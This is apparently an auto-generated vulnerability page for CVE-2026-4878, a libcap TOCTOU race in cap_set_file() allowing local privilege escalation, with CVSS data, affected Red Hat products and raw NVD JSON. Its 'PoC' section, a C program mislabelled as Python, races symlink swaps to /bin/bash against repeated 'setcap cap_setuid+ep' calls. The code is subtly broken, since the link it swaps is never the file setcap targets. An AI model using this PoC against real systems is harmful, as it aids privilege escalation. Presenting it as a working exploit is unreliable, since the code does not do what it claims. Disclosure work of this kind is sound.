Security Vulnerability Report
中文
CVE-2026-4878 CVSS 6.7 MEDIUM

CVE-2026-4878

Published: 2026-04-09 16:16:32
Last Modified: 2026-05-20 05:16:22

Description

A flaw was found in libcap. A local unprivileged user can exploit a Time-of-check-to-time-of-use (TOCTOU) race condition in the `cap_set_file()` function. This allows an attacker with write access to a parent directory to redirect file capability updates to an attacker-controlled file. By doing so, capabilities can be injected into or stripped from unintended executables, leading to privilege escalation.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:libcap_project:libcap:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:* - VULNERABLE
libcap (具体受影响版本请参考Red Hat安全公告 RHSA-2026:12423, RHSA-2026:12441等)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-4878: libcap TOCTOU Race Condition * This code demonstrates the concept of racing cap_set_file(). * Compile: gcc -o poc CVE-2026-4878_poc.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <sys/stat.h> #include <sys/types.h> #define TARGET_DIR "/tmp/cve_test" #define LEGIT_FILE "legit_bin" #define SYMLINK_FILE "malicious_link" void *attacker_thread(void *arg) { char target_path[256]; snprintf(target_path, sizeof(target_path), "%s/%s", TARGET_DIR, SYMLINK_FILE); while (1) { // Attempt to swap the file during the race window // In a real exploit, this targets a file being processed by cap_set_file unlink(target_path); symlink("/bin/bash", target_path); // Redirect to a controlled binary usleep(100); // Tune timing for the race unlink(target_path); symlink("/bin/ls", target_path); // Revert to avoid detection usleep(100); } return NULL; } int main() { pthread_t tid; // Setup environment mkdir(TARGET_DIR, 0777); char legit_path[256]; snprintf(legit_path, sizeof(legit_path), "%s/%s", TARGET_DIR, LEGIT_FILE); // Create a dummy legitimate file FILE *fp = fopen(legit_path, "w"); if (fp) { fprintf(fp, "#!/bin/sh\necho 'Legitimate process'"); fclose(fp); chmod(legit_path, 0755); } printf("[+] Starting race condition simulation for CVE-2026-4878...\n"); printf("[+] Target directory: %s\n", TARGET_DIR); // Start the attacker thread pthread_create(&tid, NULL, attacker_thread, NULL); // Simulate a vulnerable process calling cap_set_file repeatedly // This represents the victim process (e.g., package manager) char cmd[512]; for (int i = 0; i < 1000; i++) { snprintf(cmd, sizeof(cmd), "setcap cap_setuid+ep %s/%s 2>/dev/null", TARGET_DIR, LEGIT_FILE); // Note: In a real scenario, the race happens inside the syscall implementation // Here we simulate the external trigger system(cmd); usleep(1000); } pthread_cancel(tid); pthread_join(tid, NULL); printf("[+] Simulation finished. Check capabilities on files in %s\n", TARGET_DIR); // Cleanup snprintf(cmd, sizeof(cmd), "rm -rf %s", TARGET_DIR); system(cmd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4878", "sourceIdentifier": "[email protected]", "published": "2026-04-09T16:16:31.987", "lastModified": "2026-05-20T05:16:21.907", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in libcap. A local unprivileged user can exploit a Time-of-check-to-time-of-use (TOCTOU) race condition in the `cap_set_file()` function. This allows an attacker with write access to a parent directory to redirect file capability updates to an attacker-controlled file. By doing so, capabilities can be injected into or stripped from unintended executables, leading to privilege escalation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libcap_project:libcap:-:*:*:*:*:*:*:*", "matchCriteriaId": "B5642B48-2305-41CC-9D9D-110EAC065B08"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "932D137F-528B-4526-9A89-CD59FA1AB0FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:12423", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:12441", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:13285", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14162", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:14937", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19130", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19346", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19456", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19458", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7473", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/security/cve/CVE-2026-4878", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2447554", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2451615", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/07/14", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/07/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/08/9", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/09/5", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/09/6", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}]}}